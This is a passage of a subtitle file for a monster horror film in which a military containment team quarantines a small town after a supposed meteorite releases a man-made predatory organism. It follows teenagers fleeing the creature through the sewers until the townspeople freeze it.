He's got to be around here somewhere.

428
00:50:53.078 --> 00:50:54.738
In the woods.

429
00:50:56.039 --> 00:50:57.664
In the dark woods.

430
00:50:58.166 --> 00:51:00.574
Right. We could wait here.

431
00:51:07.843 --> 00:51:11.177
I never thought I'd go out of my way
to find a cop.

432
00:51:21.899 --> 00:51:23.098
Hello!

433
00:51:24.861 --> 00:51:29.570
I feel like fucking Hansel and Gretel here.
We should have brought bread crumbs.

434
00:51:32.786 --> 00:51:33.699
Wait.

435
00:51:34.079 --> 00:51:35.906
I think I hear something.

436
00:51:42.713 --> 00:51:44.622
What the hell is that?

437
00:52:10.075 --> 00:52:12.068
Put those weapons down.

438
00:52:16.332 --> 00:52:18.324
We're here to help you.

439
00:52:19.126 --> 00:52:20.953
-Name?
-Meg Penny.

440
00:52:21.045 --> 00:52:23.583
-Are you a resident of Arborville, Meg?
-Yes, I am.

441
00:52:23.673 --> 00:52:26.424
Have you experienced any vomiting,
nausea or diarrhoea?

442
00:52:26.509 --> 00:52:27.837
Back off!

443
00:52:27.927 --> 00:52:31.379
Hey, pal. You want to fill us in?
Who the hell are you people?

444
00:52:31.514 --> 00:52:36.176
I'm Dr. Meddows. We're a government
sanctioned, biological containment team.

445
00:52:36.311 --> 00:52:38.220
"Biological containment?"

446
00:52:38.313 --> 00:52:40.187
We're microbe hunters, young lady.

447
00:52:40.315 --> 00:52:41.560
Flagg?

448
00:52:43.151 --> 00:52:45.440
What are you doing here, boy?

449
00:52:46.405 --> 00:52:50.070
The men from Glad here are showing us
how to keep our leftovers fresh.

450
00:52:50.200 --> 00:52:53.783
They're here on business.
They don't have time for bullshit. Okay?

451
00:52:54.205 --> 00:52:56.446
Colonel, has the Deputy been briefed
in detail?

452
00:52:56.540 --> 00:52:57.322
Yes, sir.

453
00:52:57.416 --> 00:52:59.243
I'm heading to town now to get started.

454
00:52:59.710 --> 00:53:01.999
Splendid.
Colonel Hargis will arrange an escort.

455
00:53:03.047 --> 00:53:04.956
What is going on over there?

456
00:53:06.175 --> 00:53:10.802
That's the source of our worries.
A troublesome souvenir from space.

457
00:53:11.014 --> 00:53:12.592
-What?
-A meteorite.

458
00:53:13.475 --> 00:53:14.803
Don't get too close.

459
00:53:14.893 --> 00:53:16.969
There's danger of contamination.

460
00:53:17.145 --> 00:53:18.937
I don't understand.

461
00:53:19.231 --> 00:53:21.270
Let me tell you a story.

462
00:53:21.733 --> 00:53:25.482
The dinosaurs ruled our planet
for millions of years...

463
00:53:26.196 --> 00:53:29.233
...and yet they died out almost overnight.

464
00:53:29.533 --> 00:53:30.648
Why?

465
00:53:31.327 --> 00:53:32.987
The evidence suggests...

466
00:53:33.245 --> 00:53:36.579
...that a meteor fell to earth bearing
an alien bacteria.

467
00:53:36.999 --> 00:53:40.166
Plague? Is that what this is all about?

468
00:53:40.503 --> 00:53:41.618
Prevention.

469
00:53:41.713 --> 00:53:45.711
And you think this meteor brought
some kind of a killer germ?

470
00:53:46.176 --> 00:53:50.470
It's something I've expected
and prepared for, all my life.

471
00:53:51.223 --> 00:53:55.267
Your meteor brought something all right.
But if it's a germ...

472
00:53:55.686 --> 00:53:58.556
...it's the biggest son of a bitch
you've ever seen.

473
00:54:09.951 --> 00:54:11.326
What's the matter?

474
00:54:11.410 --> 00:54:14.162
Isn't it awfully late
to be trimming the hedges?

475
00:54:14.247 --> 00:54:16.654
Maybe this guy's a peeping Tom
or something.

476
00:54:16.833 --> 00:54:19.704
So, let's give him something to peep at.

477
00:54:27.552 --> 00:54:31.385
Wait a minute.
Hockey season ended months ago.

478
00:54:34.601 --> 00:54:38.516
He's going to get the camp counsellor
with the hedge trimmer.

479
00:54:43.945 --> 00:54:45.771
But the girl gets away.

480
00:54:47.949 --> 00:54:52.445
She's going to run into the lodge and hide,
but he's going to get her anyway.

481
00:54:53.455 --> 00:54:54.617
Please be quiet.

482
00:54:55.165 --> 00:54:56.327
You shut up!

483
00:54:57.250 --> 00:54:58.365
Hey!

484
00:54:58.543 --> 00:55:00.619
You've got to shut up. If you get caught...

485
00:55:00.712 --> 00:55:03.382
...your mum'll kill me.
Get your feet off the seat!

486
00:55:03.465 --> 00:55:05.173
Anthony, come on.

487
00:55:07.136 --> 00:55:08.298
Jerk.

488
00:55:08.929 --> 00:55:10.304
What a wimp!

489
00:55:11.682 --> 00:55:13.805
Check out the body on the blonde.

490
00:55:49.805 --> 00:55:51.181
Wonderful.

491
00:55:56.395 --> 00:55:57.309
Yeah?

492
00:55:57.397 --> 00:56:00.516
It's Hobbs. It's boiling up here.
Is the air conditioning on?

493
00:56:00.608 --> 00:56:02.186
It's on full blast.

494
00:56:02.277 --> 00:56:04.269
It must be blocked up or something.

495
00:56:04.362 --> 00:56:06.271
There's nothing wrong with it.

496
00:56:06.364 --> 00:56:08.938
Come up and see for yourself.

497
00:56:46.782 --> 00:56:48.774
Hobbs, are you in here?

498
00:57:08.471 --> 00:57:09.965
I can't begin to thank you both.

499
00:57:10.056 --> 00:57:13.010
This information is incredibly valuable.

500
00:57:13.309 --> 00:57:14.887
Please, get in.

501
00:57:15.353 --> 00:57:17.310
-Where are we going?
-Back to town.

502
00:57:17.439 --> 00:57:20.938
Arborville is under quarantine
until we've isolated that organism...

503
00:57:21.026 --> 00:57:23.943
...and checked every living soul
for signs of infection.

504
00:57:24.071 --> 00:57:27.654
-ln the meantime, we're your prisoners.
-Not at all. You're my patients.

505
00:57:28.033 --> 00:57:30.026
Sounds like the same thing to me.

506
00:57:31.036 --> 00:57:34.203
Young man, please, step into the van.

507
00:57:36.709 --> 00:57:40.837
Thanks for the offer, Doc. But my bike's
back there and we can make it back...

508
00:57:40.922 --> 00:57:42.333
...on our own.

509
00:57:42.423 --> 00:57:45.590
By the way, I love your tailor.
I got to get me one of those.

510
00:57:49.097 --> 00:57:50.508
Get in the van.

511
00:57:55.228 --> 00:57:57.435
Van ride sounds nice.

512
00:58:04.279 --> 00:58:05.478
Clear.

513
00:58:19.629 --> 00:58:21.503
-It's locked.
-So what?

514
00:58:22.298 --> 00:58:25.833
Brian, what is with you?
You're acting like a complete jerk.

515
00:58:26.261 --> 00:58:28.966
I have a problem with authority figures.

516
00:58:29.097 --> 00:58:30.342
What are you doing?

517
00:58:30.432 --> 00:58:33.848
We ought to get out of here.
Take my bike and blow this town.

518
00:58:33.977 --> 00:58:36.515
It's getting thick around here,
don't you think?

519
00:58:36.605 --> 00:58:39.891
That's crazy.
These people are here to help us.

520
00:58:40.734 --> 00:58:43.819
Come on, Meg.
We don't even know who they are.

521
00:58:44.238 --> 00:58:45.946
NASA? ClA?

522
00:58:46.073 --> 00:58:48.232
The Royal Canadian Mounties?

523
00:58:48.326 --> 00:58:51.280
All I know is I saw a bunch
of unmarked trucks.

524
00:58:51.412 --> 00:58:53.321
I think this whole thing stinks.

525
00:58:53.456 --> 00:58:55.698
Well, we can't just run out.

526
00:58:56.668 --> 00:59:00.915
Let's just think of it
as looking out for our best interests.

527
00:59:04.676 --> 00:59:06.087
You coming?

528
00:59:07.179 --> 00:59:10.963
Brian, I have to go back.
My family's there, people that I care about.

529
00:59:11.141 --> 00:59:14.226
I'm going.
If you're smart, you'll come with me.

530
00:59:15.854 --> 00:59:21.229
Then go. Take care of yourself.
That's the only thing you're really good at.

531
00:59:22.278 --> 00:59:25.196
No one else ever volunteered for the job.

532
00:59:35.041 --> 00:59:37.959
Christ, Flagg. A cheerleader.

533
01:00:01.986 --> 01:00:03.231
Come on, ma'am.

534
01:00:03.404 --> 01:00:08.399
There is no cause for alarm.
I repeat, there is no cause for alarm.

535
01:00:08.493 --> 01:00:13.369
This is a precautionary quarantine,
due to a potential biological hazard.

536
01:00:14.124 --> 01:00:17.327
Please proceed toward Town Hall
in an orderly fashion.

537
01:00:18.128 --> 01:00:19.587
Mum! Dad!

538
01:00:22.007 --> 01:00:25.008
Meg! Thank God you're all right!

539
01:00:25.386 --> 01:00:27.177
Honey, is Kevin with you?

540
01:00:27.346 --> 01:00:29.553
No. Isn't he staying at Eddie's house?

541
01:00:29.640 --> 01:00:31.680
Eddie says they were staying
at your house.

542
01:00:31.767 --> 01:00:34.887
Oh, God! He must've snuck off
to that damn movie.

543
01:00:35.188 --> 01:00:37.560
What movie?
You didn't tell me about any movie.

544
01:00:37.649 --> 01:00:41.183
Sir, my little brother is
at the movie theatre on Main Street.

545
01:00:41.277 --> 01:00:43.400
We're going by sector.
We'll be there soon.

546
01:00:43.530 --> 01:00:45.736
-You don't--
-We'll handle it. Back in line.

547
01:00:45.824 --> 01:00:48.030
Seems you're doing nothing.
You on a break?

548
01:00:48.118 --> 01:00:50.443
-Look, Mr.--
-Don't "Look, Mr." me. I pay taxes.

549
01:00:50.537 --> 01:00:52.660
I pay your salary.
I want you to find my son!

550
01:00:52.748 --> 01:00:54.539
I know you're upset, but get in line...

551
01:00:54.625 --> 01:00:56.202
...we have everything under control.

552
01:00:56.752 --> 01:01:01.710
Did you know that ten years ago tonight,
there was a horrible murder in this house?

553
01:01:01.882 --> 01:01:04.800
-No way! Come on.
-This man--

554
01:01:05.052 --> 01:01:06.463
You'll love this.

555
01:01:06.762 --> 01:01:08.672
He hot-curls her to death.

556
01:01:10.516 --> 01:01:12.343
Mister, we're trying to watch a--

557
01:02:35.772 --> 01:02:37.148
My zipper!

558
01:02:42.029 --> 01:02:43.820
Come on! Hurry!

559
01:02:44.865 --> 01:02:46.241
Your feet!

560
01:02:50.746 --> 01:02:51.861
No!

561
01:02:55.710 --> 01:02:57.288
Hurry!

562
01:03:08.807 --> 01:03:09.886
Here!

563
01:03:10.475 --> 01:03:11.507
Open it up!

564
01:03:15.272 --> 01:03:16.470
Eddie!

565
01:03:23.864 --> 01:03:25.774
Hurry! Go!

566
01:03:27.869 --> 01:03:28.948
Go!

567
01:03:44.052 --> 01:03:45.215
Come on, Meg!

568
01:03:46.305 --> 01:03:47.882
Meg, come on!

569
01:04:02.697 --> 01:04:04.986
-Alpha Team, do you copy?
-Affirmative.

570
01:04:06.451 --> 01:04:07.993
Highway 31 closed.

571
01:04:08.161 --> 01:04:09.869
Phone lines down.

572
01:04:09.996 --> 01:04:12.487
We've got this town locked up tight.

573
01:04:22.092 --> 01:04:23.290
On up.

574
01:04:48.203 --> 01:04:52.283
We suspected that conditions in space
would have a mutating effect on bacteria...

575
01:04:52.457 --> 01:04:53.702
...but this!

576
01:04:53.792 --> 01:04:56.248
Its activity threw the satellite out of orbit.

577
01:04:56.336 --> 01:05:00.120
Correct. Our little experimental virus
seems to have grown up...

578
01:05:00.466 --> 01:05:04.879
...into a plasmic life form
that hunts its prey.

579
01:05:05.179 --> 01:05:07.800
A predator. It's fantastic.

580
01:05:07.932 --> 01:05:11.182
Sir, the organism is growing
at a geometric rate.

581
01:05:11.269 --> 01:05:15.480
By all accounts, it's at least
a thousand times its original mass.

582
01:05:15.648 --> 01:05:18.483
This will put U.S. Defence years ahead
of the Russians.

583
01:05:18.610 --> 01:05:19.808
You don't understand.

584
01:05:19.944 --> 01:05:23.111
At this rate, by next week,
there may be no U.S.

585
01:05:23.281 --> 01:05:24.111
Nonsense!

586
01:05:24.491 --> 01:05:28.323
All we have to do is contain it.
As far as the locals are concerned...

587
01:05:28.453 --> 01:05:30.493
...this is simply a medical quarantine.

588
01:05:30.580 --> 01:05:32.573
Nobody gets in, or out.

589
01:05:40.382 --> 01:05:43.752
Dr. Meddows, just for the record...

590
01:05:44.303 --> 01:05:47.589
...I don't agree with any of this.
Those people's lives are at stake.

591
01:05:47.807 --> 01:05:50.345
Don't you think I know that?

592
01:05:50.518 --> 01:05:54.053
This isn't one of your textbook exercises,
Mr. Jennings.

593
01:05:54.397 --> 01:05:58.691
This is an experiment in biological warfare,
or hadn't you noticed?

594
01:05:59.152 --> 01:06:02.817
That organism could be the greatest
breakthrough in weapons research...

595
01:06:02.906 --> 01:06:04.317
...since man split the atom.

596
01:06:04.491 --> 01:06:07.694
What we do here will affect the balance
of world power!

597
01:06:08.662 --> 01:06:11.747
Of course there are lives at stake.
Whole nations, in fact.

598
01:06:11.874 --> 01:06:15.788
And that's far more important than
a handful of people in this small town.

599
01:06:16.629 --> 01:06:19.001
And that is my cross to bear...

600
01:06:19.507 --> 01:06:23.587
...Mr. Jennings.
Now, carry out your orders.

601
01:06:24.595 --> 01:06:25.924
Yes, sir.

602
01:06:27.473 --> 01:06:28.422
Colonel!

603
01:06:28.516 --> 01:06:30.888
Colonel, we've got a sighting.

604
01:06:32.937 --> 01:06:33.851
Hargis here.

605
01:06:33.980 --> 01:06:36.436
An eyewitness saw the organism
pursue civilians...

606
01:06:36.566 --> 01:06:39.686
-...into the sewers.
-It's got Kevin, Eddie and Meg down there.

607
01:06:39.778 --> 01:06:41.153
You've got to do something.

608
01:06:41.280 --> 01:06:42.275
Excellent!

609
01:06:42.406 --> 01:06:44.114
We need a schematic of the sewers.

610
01:06:44.241 --> 01:06:47.824
We'll contain it down there.
I want that organism alive.

611
01:06:48.037 --> 01:06:50.113
What about the civilians?

612
01:06:55.211 --> 01:06:57.002
They're expendable.

613
01:07:01.259 --> 01:07:02.290
Get up.

614
01:07:09.392 --> 01:07:10.721
Stop him!

615
01:07:12.896 --> 01:07:14.177
Attention!

616
01:07:14.272 --> 01:07:16.728
We have an infected civilian
trying to escape.

617
01:07:16.859 --> 01:07:19.350
Stop him before he reaches
a populated area!

618
01:07:40.341 --> 01:07:44.553
<i>Halt, or we'll open fire!
I repeat: Halt, or we'll open fire!</i>

619
01:08:17.047 --> 01:08:18.209
Turn!

620
01:09:24.576 --> 01:09:28.241
<i>Handicapped persons,
or persons in need of special assistance...</i>

621
01:09:28.330 --> 01:09:32.328
<i>...may report to the Blue Station,
located on the north lawn.</i>

622
01:09:34.002 --> 01:09:38.830
<i>Dr. Sims and Dr. Divatni,
please report to Med. Unit 1.</i>

623
01:09:47.058 --> 01:09:49.181
-Are these the schematics?
-Yes, sir.

624
01:09:49.310 --> 01:09:52.062
The whole town's sitting
on a system of aqueducts...

625
01:09:52.146 --> 01:09:53.771
...run off from the mountains.

626
01:09:53.856 --> 01:09:56.015
Can the organism be contained?

627
01:09:56.109 --> 01:10:00.570
There seem to be three main junctions.
Here, here, and here.

628
01:10:01.698 --> 01:10:04.948
If we close off those valves,
I think we got it.

629
01:10:09.456 --> 01:10:10.915
Is it still after us?

630
01:10:11.041 --> 01:10:12.204
I don't think so.

631
01:10:12.376 --> 01:10:16.670
I'll be good, I swear.
I'll never see a movie, ever again.

632
01:10:16.880 --> 01:10:18.624
It's going to be okay.

633
01:10:19.175 --> 01:10:22.092
Let's just find a way out of here.

634
01:10:26.307 --> 01:10:27.552
This way.

635
01:10:28.101 --> 01:10:32.348
Baker Team,
we place you 80 metres south of Valve 2.

636
01:10:47.412 --> 01:10:50.663
Come on. That's our way out of here.

637
01:10:56.589 --> 01:10:58.048
Watch out for the rat.

638
01:10:58.215 --> 01:10:59.544
What rat?

639
01:11:07.183 --> 01:11:08.298
Run!

640
01:11:12.355 --> 01:11:13.387
Run!

641
01:11:18.236 --> 01:11:19.647
Get up the post. Move!

642
01:11:19.988 --> 01:11:21.946
Come on, climb! Go!

643
01:11:30.291 --> 01:11:31.370
No!

644
01:11:31.459 --> 01:11:33.416
Get him out of there!

645
01:11:34.962 --> 01:11:36.243
No!

646
01:11:52.898 --> 01:11:54.440
Come on!

647
01:12:21.803 --> 01:12:23.381
I can't get through!

648
01:12:23.471 --> 01:12:25.215
You can make it, Meg! Come on!

649
01:12:25.307 --> 01:12:26.967
Run, Kevin! Run!

650
01:12:37.778 --> 01:12:39.522
We have orders not to shoot!

651
01:12:43.993 --> 01:12:46.116
Run, Kevin! Go to Town Hall!

652
01:12:46.204 --> 01:12:47.235
No! But, Meg--

653
01:12:47.330 --> 01:12:48.741
Do it now!

654
01:13:53.524 --> 01:13:55.351
What are you doing?

655
01:13:56.486 --> 01:13:57.766
Hang on!

656
01:14:02.158 --> 01:14:03.356
Brian!

657
01:14:12.794 --> 01:14:14.953
-You all right?
-Yeah.

658
01:14:24.014 --> 01:14:27.384
Forget about it, Brian.
Let's go. Forget about it!

659
01:14:36.402 --> 01:14:38.775
It got them. Bigelow and Wilson.

660
01:14:39.114 --> 01:14:40.572
How do we get out of here?

661
01:14:40.657 --> 01:14:44.073
They were trying to scream.
Inside it. Trying to scream....

662
01:14:44.161 --> 01:14:46.948
Listen to me! How do we get out of here?

663
01:14:47.039 --> 01:14:48.663
Brian, he's hurt!

664
01:14:57.758 --> 01:14:59.003
I think...

665
01:14:59.802 --> 01:15:02.091
...we'd better go now.

666
01:15:08.937 --> 01:15:12.851
<i>Baker Team, Baker Team,
what the hell's going on down there?</i>

667
01:15:19.030 --> 01:15:20.691
We're coming up!

668
01:15:24.703 --> 01:15:26.363
Close the manhole.

669
01:15:27.581 --> 01:15:29.490
That's my man down there!

670
01:15:30.334 --> 01:15:34.628
We've got to contain that thing.
Now, close it off! That's an order!

671
01:15:37.216 --> 01:15:38.414
Do it.

672
01:15:42.597 --> 01:15:43.712
Hey!

673
01:15:45.850 --> 01:15:46.846
No!

674
01:16:02.910 --> 01:16:04.701
You son of a bitch!

675
01:16:07.414 --> 01:16:11.578
<i>Colonel, you can't!
That thing's down here with us!</i>

676
01:16:12.753 --> 01:16:14.082
Meddows!

677
01:16:14.338 --> 01:16:15.963
<i>Do you hear me, Meddows?</i>

678
01:16:18.259 --> 01:16:19.718
Talk to me, man!

679
01:16:21.012 --> 01:16:22.471
Meddows!

680
01:16:23.515 --> 01:16:25.389
The water's rising.

681
01:16:26.643 --> 01:16:28.552
It's coming for us.

682
01:16:32.900 --> 01:16:36.019
I thought you were going to take care
of yourself.

683
01:16:37.655 --> 01:16:39.446
I guess I blew it.

684
01:16:41.951 --> 01:16:43.409
I'm sorry, Meg.

685
01:16:44.704 --> 01:16:46.162
I really am.

686
01:16:57.133 --> 01:16:58.793
This thing work?

687
01:16:59.302 --> 01:17:01.425
-Does this thing work?
-It won't do any good.

688
01:17:01.513 --> 01:17:03.506
Not against that thing.

689
01:17:04.307 --> 01:17:05.683
All right, Meddows.

690
01:17:05.809 --> 01:17:07.303
If you won't listen to me...

691
01:17:07.436 --> 01:17:09.013
<i>...Iisten to this.</i>

692
01:17:10.355 --> 01:17:11.518
Shit!

693
01:17:18.197 --> 01:17:21.068
<i>Fire in Sector 2!
Charlie Squad to Sector 2!</i>

694
01:17:28.750 --> 01:17:32.617
All right, people, please stay
where you are! Stay out of the street!

695
01:17:33.213 --> 01:17:37.709
<i>Mobile weapon units to Sector 2!
Mobile weapon units to Sector 2!</i>

696
01:17:40.554 --> 01:17:43.721
<i>We got a man down in Sector 2.
On the double!</i>

697
01:17:54.568 --> 01:17:55.600
Flagg!

698
01:17:56.821 --> 01:17:57.852
Drop it!

699
01:17:59.031 --> 01:18:00.063
Stay back.

700
01:18:00.283 --> 01:18:01.397
It's a lie!

701
01:18:01.492 --> 01:18:02.951
All of it!

702
01:18:06.790 --> 01:18:10.870
I said, put it down!
I'll blow you out of your shoes, boy.

703
01:18:14.715 --> 01:18:15.746
Shoot him.

704
01:18:16.383 --> 01:18:17.961
Freeze, mister!

705
01:18:22.056 --> 01:18:23.218
All right, hold on.

706
01:18:24.683 --> 01:18:25.964
Everybody...

707
01:18:26.894 --> 01:18:29.100
...just lower your weapons.

708
01:18:30.856 --> 01:18:32.137
Hold your positions.

709
01:18:32.233 --> 01:18:33.644
Don't come any closer.

710
01:18:34.360 --> 01:18:37.776
He's infected! Contagious!

711
01:18:38.740 --> 01:18:41.278
He'll spread a plague through this place...

712
01:18:41.367 --> 01:18:43.194
...and kill all of you!

713
01:18:44.621 --> 01:18:47.242
Listen to me, Briggs. Think for a minute.

714
01:18:48.250 --> 01:18:51.666
Do you think an army of guys,
in plastic suits, show up every time...

715
01:18:51.753 --> 01:18:53.545
...a meteor falls?

716
01:18:53.630 --> 01:18:55.670
Shoot him. That's a direct order!

717
01:18:55.924 --> 01:18:58.250
How do you think they got here so quick?

718
01:18:58.427 --> 01:19:01.512
-How did they know when to come?
-Shoot! Damn it, shoot!

719
01:19:01.597 --> 01:19:04.800
I'll tell you how! That meteor is manmade!

720
01:19:05.142 --> 01:19:07.894
Some kind of a germ warfare test
they fucked up!

721
01:19:07.979 --> 01:19:09.473
Don't try it!

722
01:19:45.643 --> 01:19:47.969
Let's scrag that son of a bitch!

723
01:20:00.742 --> 01:20:03.233
Satchel charge! Short fuse!

724
01:20:39.491 --> 01:20:42.065
Chew on that, slime ball.

725
01:21:05.477 --> 01:21:06.936
What's happening?

726
01:21:07.312 --> 01:21:09.601
I think you pissed it off.

727
01:21:30.920 --> 01:21:32.249
Go!

728
01:21:49.773 --> 01:21:51.102
My God...

729
01:21:51.692 --> 01:21:53.815
-...the day has come.
-Reverend, come on!

730
01:21:53.944 --> 01:21:55.771
You don't understand.

731
01:21:56.363 --> 01:21:59.567
This has all been prophesied.

732
01:22:05.289 --> 01:22:09.122
Move! Get out, everybody!
Everybody, back!

733
01:22:11.588 --> 01:22:14.624
He ran for it, Meg. Let's go! Move!

734
01:22:16.802 --> 01:22:17.964
Come on.

735
01:22:36.280 --> 01:22:37.609
Reverend!

736
01:22:44.539 --> 01:22:46.033
Meg, look out!

737
01:22:50.462 --> 01:22:53.035
It's the cold. It can't stand the cold!

738
01:23:12.360 --> 01:23:13.854
Hurry!

739
01:23:20.535 --> 01:23:22.777
Barricade all the entrances!

740
01:23:44.560 --> 01:23:46.932
Get some more CO2 over here!

741
01:23:48.398 --> 01:23:50.604
Look out! Coming through.

742
01:23:51.651 --> 01:23:53.774
It's empty, Meg! Get back!

743
01:23:54.612 --> 01:23:55.988
Stay here!

744
01:24:07.584 --> 01:24:11.203
And the great voice spoke
to the seven angels and said: "Go your...."

745
01:24:12.882 --> 01:24:15.373
There! Right there!

746
01:24:19.472 --> 01:24:20.337
It's out!

747
01:24:20.431 --> 01:24:21.925
Find some more!

748
01:25:59.493 --> 01:26:00.774
Help me.

749
01:26:33.154 --> 01:26:36.238
Come on! You can do better than that!

750
01:26:43.831 --> 01:26:45.954
Come on, you son of a bitch.

751
01:28:05.333 --> 01:28:06.792
What a rush.

752
01:28:34.656 --> 01:28:35.984
Hey, man...

753
01:28:36.157 --> 01:28:37.865
...I told you we'd get snow.

754
01:28:38.034 --> 01:28:39.908
You got to have faith.

755
01:28:41.663 --> 01:28:44.237
I wonder if I'm covered
for this sort of thing.

756
01:28:44.416 --> 01:28:46.990
Dave, bring in the dump truck.

757
01:28:47.294 --> 01:28:50.794
We better get this thing
to the icehouse before dawn.

758
01:29:00.767 --> 01:29:05.761
The will of God is written in the sky
in fingers of flame.

759
01:29:07.857 --> 01:29:10.395
Wormwood falls from Heaven...

760
01:29:10.485 --> 01:29:13.190
...consuming sinner and saint alike!

761
01:29:13.989 --> 01:29:18.034
Who shall be lifted up to rapture...

762
01:29:18.201 --> 01:29:20.693
...when the judgement trumpet blows?

763
01:29:22.623 --> 01:29:24.829
None but the faithful...

764
01:29:25.668 --> 01:29:27.874
...brothers and sisters!

765
01:29:28.421 --> 01:29:32.253
None but the faithful.

766
01:29:40.552 --> 01:29:44.723
<i>~ Soon, I ... 
Will be done.. ~</i>

767
01:29:46.909 --> 01:29:50.037
<i>~ With the troubles ... ~</i>

768
01:29:50.898 --> 01:29:52.984
<i>~ Of the world ... ~</i>

769
01:30:07.503 --> 01:30:09.247
When, Reverend?

770
01:30:11.716 --> 01:30:12.914
Ma'am?

771
01:30:13.176 --> 01:30:16.592
The day of reckoning, how far off?

772
01:30:18.014 --> 01:30:21.015
Soon, madam. Soon.

773
01:30:27.566 --> 01:30:30.353
The Lord will give me a sign.


ZeroDay Forums Mini